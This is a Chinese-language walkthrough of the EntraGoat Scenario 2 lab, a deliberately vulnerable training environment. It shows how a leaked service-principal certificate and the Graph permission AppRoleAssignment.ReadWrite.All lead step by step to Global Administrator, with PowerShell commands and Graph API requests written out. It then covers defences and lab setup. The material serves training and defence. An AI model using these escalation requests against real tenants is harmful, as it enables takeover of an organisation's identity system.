首页
/ Graph权限滥用与特权升级:EntraGoat场景2深度剖析

Graph权限滥用与特权升级:EntraGoat场景2深度剖析

2026-04-11 09:33:35作者:余洋婵Anita

引言:Graph权限滥用的潜在威胁

在现代企业身份管理体系中,Microsoft Graph API扮演着连接各类服务与资源的关键角色。然而,这种强大的集成能力也带来了新的安全挑战。本文以EntraGoat场景2为研究对象,深入探讨攻击者如何利用仅应用Graph权限实现从普通用户到全局管理员的完整特权升级路径,揭示"Graph权限滥用"这一隐蔽攻击向量的技术细节与防御策略。

原理剖析:权限滥用的技术本质

风险点识别:危险的权限组合

Graph API权限模型中,AppRoleAssignment.ReadWrite.All(🔴高危)是一个具有潜在破坏力的权限,它允许服务主体管理其他服务主体的角色分配。在EntraGoat场景2中,这个权限被分配给了"Corporate Finance Analytics"服务主体,为攻击者提供了关键的初始攻击面。

与传统的用户权限不同,应用权限通常被认为是"后台操作",更容易被安全审计忽略。这种权限设计上的疏忽,加上证书管理不善,共同构成了严重的安全隐患。

权限关系解析

Graph API权限之间存在着复杂的依赖关系,某些低级别权限可能通过特定操作升级为高级别权限。以下是场景2中涉及的核心权限链:

Graph API权限升级路径示意图

权限递进关系

  • AppRoleAssignment.ReadWrite.All → 允许管理服务主体的角色分配
  • RoleManagement.ReadWrite.Directory → 允许管理目录角色分配
  • 全局管理员角色 → 拥有租户完全控制权

实战演示:攻击链构建与执行

初始访问:证书泄露的危害

攻击始于一个泄露的PFX证书,该证书属于"Corporate Finance Analytics"服务主体。攻击者通过以下命令导入证书并获取初始访问令牌:

$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("leaked-cert.pfx", "password")
$token = Get-MsalToken -ClientId "service-principal-id" -Certificate $cert -TenantId "tenant-id" -Scopes "https://graph.microsoft.com/.default"

这个步骤看似简单,却为后续攻击提供了合法的身份基础。证书作为长期凭证,一旦泄露将带来持续风险。

权限自我提升:突破边界的关键

利用AppRoleAssignment.ReadWrite.All权限,攻击者首先为自己授予RoleManagement.ReadWrite.Directory权限(🟡中危)。这一步通过Graph API实现:

POST https://graph.microsoft.com/v1.0/servicePrincipals/{sp-id}/appRoleAssignments
Content-Type: application/json

{
  "principalId": "attacker-object-id",
  "resourceId": "graph-service-principal-id",
  "appRoleId": "role-management-readwrite-directory-app-role-id"
}

权限验证绕过技术细节:由于服务主体对自身的权限分配操作缺乏严格校验,攻击者成功实现了权限的自我授予。这种逻辑缺陷使得权限边界形同虚设。

会话劫持与权限刷新

获得新权限后,攻击者断开当前会话并重新连接(🟡中危),以刷新访问令牌并应用新权限:

# 断开当前会话
Disconnect-MgGraph

# 使用新权限重新连接
Connect-MgGraph -AccessToken $newToken

这一步利用了令牌生命周期管理的特性,通过会话重置使提升后的权限生效。

全局管理员角色分配

拥有RoleManagement.ReadWrite.Directory权限后,攻击者直接为自己分配全局管理员角色:

POST https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/$ref
Content-Type: application/json

{
  "@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/attacker-object-id"
}

至此,攻击者完成了从普通用户到全局管理员的完整权限升级。

防御策略:构建多层防御矩阵

风险对比与优化方案

风险项 现状 优化方案
权限过度分配 AppRoleAssignment.ReadWrite.All权限被滥用 实施最小权限原则,仅授予必要权限
证书管理松散 长期证书缺乏轮换机制 启用证书自动轮换,设置90天最大有效期
审计机制缺失 权限变更未触发告警 配置Graph API权限变更实时监控
会话管理薄弱 权限变更后无需重新验证 实现权限变更时的强制重新认证

主动防御手段

动态权限监控:部署基于机器学习的权限使用异常检测系统,识别不寻常的权限请求模式。例如,当检测到服务主体在非工作时间请求RoleManagement权限时,自动触发临时权限冻结。

异常行为检测:建立服务主体行为基线,监控以下异常指标:

  • 访问位置的突然变化
  • 权限请求频率异常升高
  • 不寻常的API调用组合

权限最小化实践:参考Microsoft Graph API安全基线(版本2023.09),对所有服务主体进行权限审计,移除不必要的高级权限。

红蓝对抗视角:攻防思维的碰撞

攻击者视角:寻找防御薄弱点

从攻击者角度看,Graph API权限模型存在以下可利用的设计缺陷:

  1. 权限继承机制缺乏细粒度控制
  2. 服务主体间的权限边界不够清晰
  3. 权限变更审计日志存在延迟

攻击者会优先寻找同时拥有"读取"和"写入"权限的服务主体,这类账户往往是权限升级的关键跳板。

防御者视角:构建纵深防御体系

防御者应当建立多层次防御策略:

  1. 预防性控制:严格的权限申请与审批流程
  2. 检测性控制:实时监控与异常行为分析
  3. 响应性控制:权限快速吊销与会话终止机制
  4. 恢复性控制:定期权限审计与基线重置

实战环境搭建指南

环境准备

  1. 克隆EntraGoat项目仓库:
git clone https://gitcode.com/GitHub_Trending/en/EntraGoat
cd EntraGoat
  1. 部署场景2环境:
cd scenarios
.\EntraGoat-Scenario2-Setup.ps1

测试环境配置

  1. 安装必要依赖:
Install-Module Microsoft.Graph -Force
Install-Module Az.Accounts -Force
  1. 配置测试用户:
# 创建测试用户
New-MgUser -UserPrincipalName "testuser@contoso.com" -AccountEnabled $true -PasswordProfile @{Password="P@ssw0rd123!"; ForceChangePasswordNextLogin=$false}
  1. 验证环境:
Connect-MgGraph -Scopes "User.Read.All"
Get-MgUser -UserId "testuser@contoso.com"

总结

EntraGoat场景2揭示了Graph权限滥用导致特权升级的真实风险。通过理解攻击链的构建过程,安全专业人员可以更好地识别和防御类似威胁。实施最小权限原则、建立动态监控机制、加强证书管理,是防范此类攻击的关键措施。

参考来源:

  • Microsoft Graph API文档(v1.0)
  • Microsoft Entra ID安全最佳实践(2023年11月更新)
  • MITRE ATT&CK框架:权限升级(T1078)
  • OWASP API安全Top 10(2023)
登录后查看全文
热门项目推荐
相关项目推荐